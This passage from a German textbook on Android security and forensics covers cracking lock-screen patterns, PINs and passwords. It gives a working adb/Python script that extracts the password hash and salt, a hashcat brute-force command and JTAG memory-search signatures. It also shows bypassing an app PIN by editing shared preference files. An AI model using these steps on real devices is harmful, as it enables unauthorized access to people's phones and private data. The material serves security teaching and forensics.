Die Bildschirmsperre per Muster besteht darin, dass der Nutzer des Smartphones<br />
mindestens 4 Punkte (seit Android 2.3.3, zuvor reichten 3 Punkte aus) auf einer<br />
3×3-Matrix verbindet (auf neueren Smartphones kann es auch eine 4×4-Matrix<br />
sein), ohne einen der gewählten Punkte mehrfach zu verwenden.<br />
Diese Punkte werden dann mit ihren zugehörigen Zahlenwerten als Zahlenfolge<br />
im System abgelegt. Für ein Beispiel wählen wir das in Abbildung 4–7 gezeigte<br />
Muster, das der Zahlenfolge 0–3–6–7–8 entspricht.<br />
Android speichert dieses Muster in einer Datei namens gesture.key im Verzeichnis<br />
/data/system/. Da das Ablegen dieser Zahlenfolge im Klartext nicht den<br />
allgemeinen Vorgaben für das Speichern von Passwörtern Folge leistet, wird auch<br />
in diesem Fall die Zahlenfolge mithilfe von SHA1 gehasht, sodass es nicht ohne<br />
Weiteres möglich ist, den Klartext davon zu erhalten. In unserem Fall wird also<br />
der folgende Hashwert abgelegt: c8c0b24a15dc8bbfd411427973574695230458f0.<br />
Der Nachteil bei dem hier verwendeten Verfahren ist, dass keinerlei zusätzliche<br />
Information in die Berechnung des Hashwertes einfließt. Hierdurch ist es für<br />
uns möglich, alle existierenden Kombinationen und Sperrmuster im Vorhinein zu<br />
berechnen. Das so erzeugte Wörterbuch nennt man Rainbow Table und damit ist
100 4 Sicherheitsprobleme bei Android-Applikationen<br />
Abb. 4–7: Aufbau der Bildschirmsperre per Muster und unser Beispielmuster<br />
es möglich, in nur wenigen Sekunden den Klartext für einen gegebenen Hashwert<br />
zu erhalten.<br />
Das einzige Problem, das wir nun noch haben, ist der Zugriff auf die Datei,<br />
die diesen Hashwert beinhaltet. Dazu gibt es zwei mögliche Angriffswege:<br />
1. Mittels Root-Exploit: Sobald wir Root-Rechte auf dem Smartphone besitzen,<br />
können wir einfach zu der entsprechenden Datei im Dateisystem navigieren<br />
und sie auslesen.<br />
2. Mittels JTAG: Haben wir keinen Root-Zugriff auf das Smartphone, so können<br />
wir versuchen, mittels JTAG auf den Speicher zuzugreifen und die wichtigen<br />
Segmente auszulesen. Um den SHA1-Hashwert des Sperrmusters zu finden,<br />
suchen wir mittels JTAG nach einem 2048 Byte langen Abschnitt, der<br />
mit 20 Byte Zufallswerten beginnt, danach 2012 Byte mit Nullen aufweist<br />
und am Ende wieder 16 Byte Zufallswerte enthält. Finden wir einen solchen<br />
Block, so sind die ersten 20 Byte an Zufallswerten unser gesuchter Hashwert.<br />
Die so erhaltenen Hashwerte vergleichen wir einfach mit unserer Rainbow Table17<br />
und schon haben wir das Muster, das wir zum Entsperren des Smartphones<br />
eingeben müssen.<br />
17 Eine bereits erzeugte Rainbow Table für diesen Zweck findet man unter: https:<br />
//github.com/mspreitz/ADEL/blob/master/GestureRainbowTable.db
4.7 Spurensuche im Dateisystem 101<br />
Die Bildschirmsperre per PIN oder Passwort angreifen<br />
Im Wesentlichen ist der Angriff auf die Sperre per PIN oder Passwort identisch zu<br />
der zuvor beschriebenen Methode. Die wichtigen Unterschiede sollen aber trotz<br />
allem im Folgenden gezeigt werden.<br />
Android speichert die PIN bzw. das Passwort in einer Datei namens<br />
password.key im Verzeichnis /data/system/. Auch in diesem Fall werden die Eingaben<br />
mit SHA1 gehasht. Befolgt man die Vorgaben zur sicheren Erzeugung von<br />
Hashwerten, so sollte ein sogenanntes Salt eingefügt werden, um Angriffe mit<br />
vorberechneten Rainbow Tables zu verhindern. Dieses Salt wird an die Zahlenfolge<br />
angehängt und dann gemeinsam gehasht. Dies macht es deutlich schwerer,<br />
die Hashwerte nachzuberechnen, da man das Salt ebenfalls benötigt und dies im<br />
besten Fall bei jedem Gerät anders ist. Genau dieses Vorgehen wird bei Verwendung<br />
von PINs oder Passwörtern von Android umgesetzt.<br />
Das nötige Salt finden wir in der Datei /data/system/locksettings.db (bei<br />
älteren Smartphones liegt diese Datenbank noch unter /data/data/com.android<br />
.providers.settings/databases/settings.db) und können es durch folgende<br />
SQL-Abfrage auslesen: SELECT value FROM locksettings WHERE name=’lockscreen<br />
.password_salt’.<br />
Haben wir bereits Root-Zugriff auf das Smartphone, so können wir diese<br />
Schritte mithilfe des folgenden Python-Skripts automatisieren:<br />
import os, sys, subprocess, binascii, struct<br />
import sqlite3 as lite<br />
def get_sha1hash(backup_dir):<br />
# dumping the password/pin from the device<br />
print "Dumping PIN/Password hash ..."<br />
password = subprocess.Popen(['adb', 'pull', '/data/system/password.key',<br />
backup_dir],<br />
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />
password.wait()<br />
# cutting the HASH within password.key<br />
sha1hash = open(backup_dir + '/password.key', 'r').readline()[:40]<br />
print "HASH: \033[0;32m" + sha1hash + "\033[m"<br />
return sha1hash
102 4 Sicherheitsprobleme bei Android-Applikationen<br />
def get_salt(backup_dir):<br />
# dumping the system DB containing the SALT<br />
print "Dumping locksettings.db ..."<br />
saltdb = subprocess.Popen(['adb', 'pull',<br />
'/data/system/locksettings.db', backup_dir],<br />
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />
saltdb.wait()<br />
saltdb2 = subprocess.Popen(['adb', 'pull',<br />
'/data/system/locksettings.db-wal', backup_dir],<br />
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />
saltdb2.wait()<br />
saltdb3 = subprocess.Popen(['adb', 'pull',<br />
'/data/system/locksettings.db-shm', backup_dir],<br />
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)<br />
saltdb3.wait()<br />
# extract the SALT<br />
con = lite.connect(backup_dir + '/locksettings.db')<br />
cur = con.cursor()<br />
cur.execute("SELECT value FROM locksettings<br />
WHERE name='lockscreen.password_salt'")<br />
salt = cur.fetchone()[0]<br />
con.close()<br />
# convert SALT to Hex<br />
returnedsalt = binascii.hexlify(struct.pack('>q', int(salt) ))<br />
print "SALT: \033[0;32m" + returnedsalt + "\033[m"<br />
return returnedsalt<br />
def write_crack(salt, sha1hash, backup_dir):<br />
crack = open(backup_dir + '/crack.hash', 'a+')<br />
# write HASH and SALT to cracking file<br />
hash_salt = sha1hash + ':' + salt<br />
crack.write(hash_salt)<br />
crack.close()
4.7 Spurensuche im Dateisystem 103<br />
if __name__ == '__main__':<br />
# check if device is connected and adb is running as root<br />
if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).<br />
communicate(0)[0].split("\n")[0] == "unknown":<br />
print "no device connected - exiting..."<br />
sys.exit(2)<br />
# starting to create the output directory and the crack file used for<br />
hashcat<br />
backup_dir = sys.argv[1]<br />
try:<br />
os.stat(backup_dir)<br />
except:<br />
os.mkdir(backup_dir)<br />
sha1hash = get_sha1hash(backup_dir)<br />
salt = get_salt(backup_dir)<br />
write_crack(salt, sha1hash, backup_dir)<br />
print "crack.hash can now be used to feed hashcat"<br />
Codebeispiel 4–33: Automatisierter Angriff auf die PIN- bzw. Passwortsperre<br />
Die so erhaltene Datei crack.hash können wir nun in Hashcat laden und den<br />
Brute-Force-Angriff durch Eingabe des folgenden Befehls starten: hashcat -a 3<br />
-m 110 crack.hash -1 ?d ?1?1?1?1?1?1?1?1 (dieser Aufruf versucht, eine max.<br />
8-stellige PIN zu berechnen).<br />
Haben wir keinen Root-Zugriff, so können wir auch hier versuchen, die Daten<br />
per JTAG auszulesen. Um den Hashwert für die PIN bzw. das Passwort zu<br />
finden, suchen wir einen 2048 Byte langen Abschnitt, der folgende Eigenschaften<br />
aufweist:<br />
■<br />
■<br />
■<br />
72 Byte, die nur aus den Zeichen 0–9 und A–F bestehen,<br />
gefolgt von 1960 Byte mit Nullen,<br />
gefolgt von 16 Byte Zufallswerte.<br />
Die ersten 72 Byte sind die Hashwerte unserer PIN bzw. unseres Passworts in<br />
MD5 und SHA1. Nun benötigen wir noch das passende Salt. Dazu gehen wir wie<br />
folgt vor:
104 4 Sicherheitsprobleme bei Android-Applikationen<br />
■<br />
■<br />
■<br />
■<br />
Im Speicher des Smartphones suchen wir nach dem String lockscreen<br />
.password_salt.<br />
Das Byte direkt vor diesem String muss im Bereich 0x0F und 0x35 liegen und<br />
beschreibt dabei die Länge des abgelegten Hashwertes.<br />
Ein weiteres Byte davor muss das Byte 0x3D zu finden sein.<br />
Direkt davor muss ein Byte mit Nullwerten stehen.<br />
Trifft all dies zu, so haben wir das Salt gefunden und können den Brute-Force-<br />
Angriff starten. Abbildung 4–8 zeigt nochmals, wie der beschriebene Aufbau des<br />
gesuchten Abschnittes im Dateisystemabbild auszusehen hat.<br />
Abb. 4–8: Aufbau des Speicherabschnittes mit dem Salt für die Bildschirmsperre<br />
4.7.3 Nach interessanten Daten im Dateisystem suchen<br />
Nachdem nun die Verschlüsselung des Dateisystems geknackt werden kann und<br />
auch eine eventuell vorhandene Bildschirmsperre nicht mehr als Hindernis angesehen<br />
werden muss, kommen wir nun an den spannenden Punkt: Wo finden sich<br />
interessante Daten im Dateisystem?<br />
Bei Geräten mit Android als Betriebssystem gibt es im Wesentlichen drei Stellen,<br />
an denen man die interessanten Daten der installierten Applikationen finden<br />
kann:<br />
1. Die installierten Applikationen selbst befinden sich unter /data/apps/.<br />
2. Datenbanken und Dokumente, die durch die Applikation bearbeitet und verwaltet<br />
werden, befinden sich in /data/data/.<br />
3. Und natürlich die SD-Karte, da hierauf jede Applikation Zugriff erhalten<br />
kann, sobald sie die entsprechende Berechtigung bei der Installation anfordert.<br />
Die installierten Applikationen und deren Pakete, die unter /data/apps/ zu finden<br />
sind, können von dort auf den Analyserechner mittels adb pull /data/apps/<br />
übertragen werden. Sobald sie auf dem eigenen Rechner sind,<br />
können diese – wie in Kapitel 3 beschrieben – dekompiliert und analysiert werden.
4.7 Spurensuche im Dateisystem 105<br />
Für dieses Kapitel jedoch von deutlich höherem Interesse sind die Bereiche, in<br />
denen die Applikationen ihre eigenen Daten speichern und verwalten: /data/data/<br />
sowie die SD-Karte. Von besonderem Interesse sind hier die Datenbanken<br />
der Applikationen und das Verzeichnis namens shared_preferences, die<br />
wir im Folgenden uns näher ansehen werden.<br />
Applikationsdatenbanken<br />
Eine der wichtigsten Orte, an denen Applikationen ihre Daten speichern, sind die<br />
SQLite-Datenbanken im Verzeichnis /data/data//databases/. In diesen<br />
Datenbanken findet man neben Nutzer- und Applikationsdaten auch sehr<br />
häufig Konfigurationsdaten wie z. B. Serveradressen, Crypto- und API-Schlüssel<br />
oder Hinweise darauf, wo weitere Dateien abgelegt sind.<br />
Im Rahmen eines Penetrationstests einer Android-Applikation gehört es zu<br />
einem der ersten Schritte, sich die Datenbanken der Applikation genau anzusehen.<br />
Dazu ist es am einfachsten, sich mithilfe von adb pull die entsprechenden<br />
Dateien auf den lokalen Analyserechner zu kopieren und dort mit Tools wie dem<br />
SQLiteBrowser18 oder per Kommandozeilenprogramm (z. B. sqlite3) zu betrachten.<br />
Der Vorteil der grafischen Tools liegt darin, dass man sehr schnell den Aufbau<br />
der Datenbank und aller vordefinierten Views erkennt (wie man am Beispiel einer<br />
Applikationsdatenbank in Abbildung 4–9 sehen kann).<br />
Abb. 4–9: Beispiel einer Applikationsdatenbank, die mit dem SQLiteBrowser geöffnet wurde<br />
Shared Preferences<br />
Die Shared Preferences sind im eigentlichen Sinne XML-Dateien, die Key-Value-<br />
Paare speichern können. Diese Dateien dienen dazu, eine kleine Anzahl an solchen<br />
Paaren außerhalb von Datenbanken und mit einer speziellen API zu sichern.<br />
18 SQLiteBrowser: https://github.com/sqlitebrowser/sqlitebrowser/releases
106 4 Sicherheitsprobleme bei Android-Applikationen<br />
Wichtig dabei ist, dass es diese Dateien als private und shared gibt und diese Eigenschaft<br />
vom Applikationsentwickler festgelegt wird. Sobald eine solche Datei<br />
als Eigenschaft shared besitzt, kann jede Applikation darauf zugreifen, die den<br />
Dateinamen kennen – ohne dafür eine spezielle Berechtigung zu benötigen. Doch<br />
selbst mit der Eigenschaft private sollte man darauf achten, wie man sensible<br />
Daten hier ablegt, denn wie auch schon bei den Datenbanken gilt auch hierbei,<br />
dass Sicherheitsanalysten dieses Verzeichnis als Erstes ins Auge fassen und die<br />
Key-Value-Paare genau analysieren.<br />
Sehr oft findet man an dieser Stelle wichtige Daten wie Schlüsselmaterial für<br />
die Verschlüsselung der Datenbankinhalte, Passwörter für Nutzer der Applikation<br />
oder URLs und IP-Adressen der Backend-Systeme.<br />
Ebenso wichtig wie der eigentliche Inhalt dieser Dateien ist aber auch der Umstand,<br />
wie eine Applikation reagiert, wenn Inhalte nicht mehr vorhanden sind.<br />
Oft werden an dieser Stelle Eigenschaften von zugewiesenen Policies oder sogar<br />
die Applikations-PIN gespeichert. Ändert man diese, oder löscht die entsprechenden<br />
Werte, so ist es wichtig, dass die Applikation keine Geheimnisse preisgibt.<br />
Das im Folgenden gezeigte Beispiel für eine Applikation weist Schwachstellen<br />
auf, wodurch man durch einfache Manipulation dieser Dateien die Features und<br />
die versprochene Sicherheit der Applikation beeinflussen kann.<br />
Bei der Applikation handelt es sich um eine File-Sharing-Applikation für Unternehmen.<br />
Eine Applikation die zusammen mit dem Backend eine alternative<br />
Variante von DropBox für Unternehmen verspricht. Hierbei ist es für das Unternehmen,<br />
das diese Applikation einsetzen möchte, möglich, eine zentrale Policy<br />
vorzugeben, die auf alle Endgeräte übertragen wird. Damit kann man u. a. bestimmen,<br />
ob der Nutzer Dateien in andere Applikationen exportieren kann und<br />
ob eine Applikations-PIN nötig ist (wie in Abbildung 4–10 gezeigt). Des Weiteren<br />
kann hier auch festgelegt werden, nach wie vielen Fehlversuchen die Applikation<br />
alle verwalteten Dateien löschen oder einfach nur den Nutzer aussperren soll.<br />
All dies verwaltet die Applikation innerhalb der Shared Preferences ohne dabei<br />
den konformen Zustand des Smartphones zu prüfen. Dieser Punkt wird ihr<br />
dann auch zum Verhängnis.<br />
<br />
<br />
....<br />
<br />
<br />
<br />
4.7 Spurensuche im Dateisystem 107<br />
Abb. 4–10: Abfrage der Applikations-PIN, die vor unberechtigtem Zugriff schützen soll<br />
<br />
<br />
....<br />
<br />
Codebeispiel 4–34: Shared Preference mit der Policy, die die Applikation zugewiesen bekommen<br />
hat<br />
Codebeispiel 4–34 zeigt eine Policy, wie sie auf dem Endgerät liegt. Durch einfaches<br />
Ändern der Werte können wir hier zulassen, dass der Nutzer (oder ein<br />
Angreifer, der Wissen über die Applikations-PIN hat) Daten aus dem Container<br />
extrahieren kann.<br />
<br />
<br />
ICPNS******<br />
<br />
<br />
Codebeispiel 4–35: Shared Preference mit der verschlüsselten Applikations-PIN<br />
Codebeispiel 4–35 zeigt eine weitere XML-Datei innerhalb der Shared Preferences,<br />
deren Inhalt noch gravierender ist. Bei dem zuvor gezeigten Angriff musste<br />
der Angreifer noch die Applikations-PIN wissen, um Daten exfiltrieren zu können.<br />
Diese Datei speichert einen verschlüsselten Wert dieser PIN und die Anzahl
108 4 Sicherheitsprobleme bei Android-Applikationen<br />
der falschen Eingaben. Nun gibt es drei Möglichkeiten, wie man vorgehen kann,<br />
um diesen Schutz der Applikation zu umgehen:<br />
1. Durch Reversing versuchen herauszubekommen, wie der Wert verschlüsselt<br />
wird und diese Verschlüsselung umkehren.<br />
2. Einen Brute-Force-Angriff auf die Applikation starten und nach jedem ungültigen<br />
Versuch die count_of_performed_attempts wieder auf 0 setzen.<br />
3. Die Zeile aus der XML-Datei löschen und schauen, was die Applikation beim<br />
nächsten Neustart macht.<br />
Neben dem Versuch, einfach mal die PIN der Bildschirmsperre als Eingabe zu<br />
verwenden, die wir zuvor herausbekommen haben, ist der einfachste Weg, um<br />
den Schutz der Applikation herumzukommen, das Löschen der entsprechenden<br />
Zeile aus der XML-Datei. Nachdem wir nun diese Zeile gelöscht und die Applikation<br />
erneut gestartet haben, sehen wir, dass wir aufgefordert werden, eine neue<br />
PIN zu vergeben.<br />
Durch ein Reversing ist bereits aufgefallen, dass die lokal verwalteten Daten<br />
zwar verschlüsselt sind, aber die Verschlüsselung nicht von der Applikations-PIN<br />
abhängig ist, was generell eine schlechte Idee ist. Sind wir als Angreifer nun also<br />
in physischem Besitz des Smartphones, können wir die PIN auf einen uns bekannten<br />
Wert ändern, danach noch die Policy anpassen und schlussendlich alle Daten,<br />
auf die der Nutzer Zugriff hat, aus dem als sicher versprochenen Container extrahieren.<br />
Weitere Dateien innerhalb der Sandbox<br />
Wie man aus der Forensik weiß, sollte man ein Auge auf alle Dateien haben,<br />
auf die die Applikation Zugriff hat oder die durch sie verwaltet werden. Ein Beispiel<br />
dafür, dass eine solche erweiterte Suche durchaus sinnvoll ist, zeigt uns eine<br />
sehr bekannte Applikation zur Synchronisation von PIM-Daten im Unternehmen.<br />
Sie verspricht eine sichere Synchronisation und Verwaltung von PIM-Daten auf<br />
einem Android-Smartphone (siehe dazu auch Abbildung 4–11). Dabei schützt<br />
sie diese Daten durch Verschlüsselung und verwendet dazu im Vergleich zu der<br />
zuvor gezeigten Applikation die PIN, die der Nutzer vergeben muss. Um hier<br />
als Angreifer oder Sicherheitsanalyst an die Daten zu kommen, muss also diese<br />
Applikations-PIN herausgefunden werden.<br />
Schaut man sich innerhalb der Sandbox (/data/data/ com.honey.xxx/) etwas<br />
genauer um, so sieht man eine ganze Menge an Dateien, die unbekannte Dateiendungen<br />
haben und uns dadurch noch neugieriger machen. Ein Beispiel für<br />
eine solche Datei ist die Datei mit dem Namen windroid.db.sc (siehe Codebeispiel<br />
4–36).
4.7 Spurensuche im Dateisystem 109<br />
Abb. 4–11: PIM-Applikation: Versprechen des Herstellers und PIN-Abfrage<br />
.......<br />
ASVersions=Versions:Microsoft-IIS/7.5,2.0,2.1,2.5,12.0,12.1,14.0,14.1<br />
AccountID=Exchange Mail<br />
.......<br />
Domain=#EFT1.7#I0VGVDE*****<br />
FailedLoginAttemptCount=0<br />
FolderSyncKey=1<br />
LastPINPromptTime=1421767231987<br />
LastPinChangeTime=1421766891980<br />
LastPolicyGet=0<br />
.......<br />
PasswordHistory=14141414<br />
PasswordHistory=#EFT1.7#I0VGVDE*****<br />
PasswordRecoveryEnabled=false<br />
PolicyKey=814518012<br />
.......<br />
ServerName=#EFT1.7#I0VGVDE*****<br />
UnapprovedInROMApplicationList=<br />
UserID=#EFT1.7#I0VGVDE*****<br />
.......<br />
Codebeispiel 4–36: windroid.db.sc mit der Applikations-PIN im Klartext (siehe Zeile 12)
110 4 Sicherheitsprobleme bei Android-Applikationen<br />
In Zeile 12 (PasswordHistory=14141414) sehen wir einen Wert mit dem Namen<br />
PasswordHistory. Dieser Wert lässt darauf schließen, dass es sich hier u. U. um<br />
eine ältere PIN handelt. Für etwas Verwunderung sorgt jedoch, dass die direkt<br />
darauf folgende Zeile denselben Wert nochmals besitzt, diesmal aber mit einem<br />
verschlüsselten Inhalt.<br />
Durch einfachen Test der Zeichenfolge 14141414 stellt man fest, dass dies<br />
kein älterer Wert ist, sondern die aktuelle Applikations-PIN, also das einzige Geheimnis,<br />
das zur Verschlüsselung verwendet wird, und zugleich auch der einzige<br />
Schutz des Containers vor unberechtigtem Zugriff. Hat der Sicherheitsanalyst<br />
diesen Wert, so kann er sowohl über die Oberfläche wie auch durch manuelles<br />
Entschlüsseln der Datenbanken auf alle sensiblen Daten innerhalb des Containers<br />
zugreifen und auch E-Mails im Namen des eingerichteten Nutzers versenden.<br />
4.8 Android-Applikationen zur Laufzeit<br />
manipulieren<br />
Beim Analysieren von Applikationen und deren Funktionen ist neben dem Reversing<br />
das Debugging bzw. das Manipulieren von Variablen zur Laufzeit ein<br />
wichtiger Punkt. Durch ein spezielles Tool (meist Debugger genannt) ist es dem<br />
Analysten möglich, Applikationen zur Laufzeit zu beobachten und so Programmabläufe<br />
besser verstehen und auch den Fluss von Informationen nachvollziehen<br />
zu können. Passende Tools für diesen Zweck gibt es für Android in großer Zahl.<br />
Aus Erfahrungen ist neben der professionellen Version mit IDA Pro19 vor allem<br />
Codeinspect20 das Tool der Wahl, da es deutlich einfacher zu verwenden ist als<br />
IDA und im Bereich Android durch diverse Vorteile punkten kann. Aber auch<br />
der eingebaute Debugger in Eclipse oder dem Android Studio kann hier – mit<br />
Abstrichen – verwendet werden.<br />
Bei Android kann der Applikationsentwickler das Hooken durch einen Debugger<br />
im Android-Manifest zu verhindern versuchen. Dies geschieht durch Setzen<br />
des xml-Tags android:debuggable="false". Sollte dieses Tag im Android-<br />
Manifest gesetzt sein, so gibt es nur zwei Möglichkeiten, dies zu umgehen:<br />
1. Vor dem eigentlichen Debugging wird die Applikation wie zuvor gezeigt dekompiliert,<br />
das Flag überschrieben und wieder eine lauffähige Applikation<br />
zusammengebaut.<br />
2. Es wird ein Hooker verwendet (wie z. B. das XPosed Framework mit dem<br />
BuildProp Enhancer), der zur Laufzeit dieses Flag von false auf true setzt.<br />
Im weiteren Verlauf dieses Abschnittes werden wir uns ein paar einfache Beispiele<br />
für das Debuggen und Manipulieren von Android-Applikationen mittels Codein-<br />
19 IDA Pro: https://www.hex-rays.com/products/ida/<br />
20 Codeinspect: http://sseblog.ec-spride.de/2014/12/codeinspect/
4.8 Android-Applikationen zur Laufzeit manipulieren 111<br />
spect ansehen. Die statische Codeanalyse mittels Codeinspect aus Abschnitt 3.4.7<br />
dient uns hier auch wieder als Grundlage.<br />
Als Beispiel verwenden wir die Malware-Applikation, die wir schon vom Reversing<br />
kennen. Von ihr wissen wir bereits, dass sie je nach Land, aus dem die<br />
SIM-Karte kommt, eine andere Nachricht versendet. Dies versuchen wir nun,<br />
auch mit Codeinspect zu verifizieren. Dazu importieren wir die apk-Datei und<br />
setzen einen Breakpoint auf Zeile 34 (in Zeile 33 wurde auf getSimCountryIso()<br />
zugegriffen und das Ergebnis in die Variable String geschrieben) in der Datei<br />
MagicSMSActivity.jimple (siehe Abbildung 4–12).<br />
Abb. 4–12: Setzen des ersten Breakpoints in Codeinspect<br />
Zusätzlich setzen wir noch einen zweiten Breakpoint auf die Zeile 41 (hier wird<br />
die erste SMS versendet). In dieser Zeile können wir verifizieren, an welche Nummer<br />
welcher Text gesendet wird und somit feststellen, ob unsere Änderung von<br />
der Applikation übernommen wurde.<br />
Im Anschluss starten wir die Ausführung der Applikation im Emulator (siehe<br />
Abbildung 4–13).<br />
Abb. 4–13: Starten der Ausführung der Malware in Codeinspect<br />
Sobald nun der Emulator gestartet und der Debugger erfolgreich mit der Applikation<br />
verbunden ist, startet die Ausführung. In dem Moment, wenn die Applikation<br />
dabei ist, die Zeile auszuführen, die wir mit dem Breakpoint markiert haben,<br />
wird sie angehalten – die Ausführung also in den Pause-Modus gesetzt – und wir
112 4 Sicherheitsprobleme bei Android-Applikationen<br />
Abb. 4–14: Variablen und deren Wert bei Erreichen des ersten Breakpoints<br />
sehen in Codeinspect die Variablen, die zu diesem Zeitpunkt im Speicher liegen<br />
(siehe Abbildung 4–14).<br />
Da wir schon etwas über die Applikation herausgefunden haben, wissen wir,<br />
dass der entscheidende Punkt die Rückgabe des TelephonyManager und somit der<br />
Rückgabewert von getSimCountryIso() ist. Unser Emulator hat hier us als aktuellen<br />
Rückgabewert. Diesen ändern wir nun auf de, um zu sehen, wie dies die<br />
Ausführung der Malware verändert. Um diese Änderung erfolgreich durchzuführen,<br />
müssen wir nur auf den entsprechenden Wert mit der rechten Maustaste<br />
klicken und dann Change Value auswählen. In dem nun erscheinenden Fenster<br />
können wir us löschen und manuell de eintippen. Dies ist wichtig, da Codeinspect<br />
unsere Eingabe auf diese Weise direkt wieder in ein gültiges Objekt umwandelt,<br />
das die Applikation im kommenden Schritt erwartet.<br />
Im Anschluss klicken wir nun in der obersten Zeile auf Resume (F8), um die<br />
Applikation weiter ausführen zu lassen. Ab diesem Moment verwendet die Variable<br />
den von uns vergebenen Wert und nicht mehr den eigentlichen Rückgabewert<br />
der Funktion getSimCountryIso().<br />
Sobald der zweite Breakpoint erreicht wird, sehen wir in den Variablen nun<br />
auch das Ergebnis: Es werden die Werte verwendet, die einer deutschen SIM-<br />
Karte entsprechen (siehe Abbildung 4–15), und nicht die für einen Emulator typischen<br />
Werte.<br />
Abb. 4–15: Variablen und deren Wert bei Erreichen des zweiten Breakpoints
4.9 Zusammenfassung 113<br />
Abb. 4–16: Android-Warnung vor und nach der Manipulation<br />
Abbildung 4–16 zeigt entsprechend dazu auch die Warnmeldung der Premium-<br />
SMS mit den auf die Änderung resultierenden Werten.<br />
Dieses Beispiel zeigt anhand einer recht simplen Malware, wie mächtig Werkzeuge<br />
wie Codeinspect sind, um Applikationen zu manipulieren oder um Sicherheitsabfragen<br />
des Entwicklers zu umgehen, selbst wenn der Code der Applikation<br />
deutlich komplexer oder gar verschleiert ist.<br />
Eine weitere nützliche Funktion von Codeinspect ist auch die Steuerung wichtiger<br />
Komponenten des Emulators. Diese Steuerung findet man unter DDMS →<br />
Emulator Control. Hier kann man über die grafische Oberfläche den Eingang von<br />
SMS-Nachrichten, Telefonanrufen oder auch die GPS-Daten des Endgerätes simulieren.<br />
Hierdurch ist es möglich, Nutzerinteraktionen der Applikation vorzugaukeln.<br />
Dies ist besonders dann von Interesse, wenn wir in der statischen Analyse<br />
festgestellt haben, dass die Applikation auf den Eingang einer bestimmten<br />
SMS-Nachricht wartet. Diese Nachricht können wir nun zur Laufzeit über die<br />
Oberfläche auslösen und genau beobachten, was die Applikation im Anschluss<br />
durchführt.<br />
Ebenso kann man eigenen Java- oder Jimple-Code in die Applikation einfügen,<br />
der zur Laufzeit kompiliert wird. So kann man die Applikation manipulieren<br />
und neue Funktionen hinzufügen. Hierdurch kann man z. B. erreichen, dass die<br />
Applikation ihre Crypto-Schlüssel in eine Textdatei zur späteren Analyse wegschreibt<br />
oder zusätzliche Logausgaben erzeugt.<br />
4.9 Zusammenfassung<br />
In diesem Kapitel haben wir gesehen, welche Schwachstellen eine Android-<br />
Applikation potenziell haben kann und wie man diese entdecken und schließlich<br />
auch ausnutzen kann. Dabei sind wir nicht nur auf die unsachgemäße Handhabung<br />
von personenbezogenen Daten eingegangen, sondern auch auf Klassiker wie<br />
exportierte Activities und SQL-Injection.<br />
Wie man im vorletzten Abschnitt dieses Kapitels sehr schön sehen kann, ist<br />
eine forensische Analyse der Dateien innerhalb der Sandboxen ebenso wichtig wie
114 4 Sicherheitsprobleme bei Android-Applikationen<br />
die zuvor gezeigten Angriffe auf den Code der Applikation. Hier ist auch klar geworden,<br />
wieso es hilfreich sein kann, die PIN der Vollverschlüsselung auszulesen:<br />
Diese PIN kann mit hoher Wahrscheinlichkeit auch bei weiteren Applikationen<br />
zum Entsperren verwendet werden und so eine Menge Arbeit für ein erneutes<br />
Reversing sparen.<br />
Im letzten Abschnitt wurde noch gezeigt, wie man Applikationen zur Laufzeit<br />
manipulieren kann, um mehr über ihre Funktion zu erfahren oder um Abfragen<br />
oder Prüfroutinen der Applikationen zu umgehen.
115<br />
5 Reversing von iOS-Applikationen<br />
Nachdem in Abschnitt 1.2 bereits die Grundstruktur von iOS und dessen Applikationen<br />
beschrieben wurde, wollen wir nun darauf eingehen, wie man verdächtige<br />
Applikationen untersuchen kann. Dabei werden wir in diesem Kapitel mit der<br />
manuellen Analyse mithilfe bekannter Tools wie beispielsweise dumdecrypted,<br />
class-dump und IDA Pro beginnen und so demonstrieren, wie der Sicherheitsanalyst<br />
möglichst an eine interpretierbare Version des Maschinencodes kommt.<br />
Dies ist nötig, um genau nachvollziehen zu können, wie eine Applikation funktioniert<br />
und auf welche Ressourcen sie zugreift. Somit bildet dieses Kapitel die<br />
Basis für die in Kapitel 6 gezeigte Schwachstellensuche.<br />
5.1 Vorgehensweisen beim Reversing von<br />
iOS-Applikationen<br />
Bei der statischen Analyse einer iOS-Applikation gibt es ein deutlich einfacheres<br />
Muster als bei Android, nach dem man vorgehen kann, um erste Anhaltspunkte<br />
über die Funktionen einer Applikation herauszufinden:<br />
1. Beschaffen der zu untersuchenden Applikation<br />
2. Analysieren des Codes<br />
Diesem Muster wollen wir nun auch folgen und anhand einiger Beispiel-Applikationen<br />
eine statische Analyse durchführen. Lassen Sie sich aber nicht davon täuschen,<br />
dass es auf den ersten Blick einfacher aussieht als bei Android, die Schwierigkeiten<br />
kommen mit den Details und Unterschritten der hier aufgelisteten zwei<br />
Punkte.<br />
5.2 Wichtige Tools und Helfer<br />
Bevor wir mit dem eigentlichen Reversen von iOS-Applikationen beginnen, sehen<br />
wir uns noch kurz ein paar sehr wichtige Tools an, die bei der Analyse bzw.<br />
der Interaktion mit dem iOS-Gerät hilfreich sind und im weiteren Verlauf des<br />
Kapitels immer wieder auftauchen werden. Zu diesen Tools gehören Cydia, SSH<br />
und libimobiledevice.
116 5 Reversing von iOS-Applikationen<br />
5.2.1 Cydia<br />
Cydia1 ist ein alternativer Marktplatz für Applikationen und Erweiterungen, die<br />
speziell für jailbroken iOS-Geräte gedacht sind. Damit sind iOS-Geräte gemeint,<br />
deren Betriebssystem modifiziert wurde, um Nutzungsbeschränkungen zu entfernen<br />
(auch Jailbreak genannt). Dieser von Jay Freeman (auch bekannt unter dem<br />
Alias saurik) entwickelte Marktplatz kann nicht über Apple iTunes oder den Apple<br />
Store bezogen werden, sondern wird zusammen mit den bekannten Jailbreak-<br />
Tools von Pangu2 oder TaiG3 verteilt.<br />
Dieser Marktplatz ist für unsere Arbeit enorm wichtig, da wir hier viele der<br />
notwendigen Tools und Applikationen bekommen, die wir im weiteren Verlauf<br />
dieses und des folgenden Kapitels benötigen. Im Wesentlichen ist der Marktplatz<br />
eine eigene Applikation, die eine grafische Oberfläche für den aus UNIX bekannten<br />
Paketmanager APT bietet. Pakete, die dort angeboten werden, liegen im deb-<br />
Format vor und können von einer Vielzahl an frei wählbaren Quellen eingebunden<br />
und installiert werden.<br />
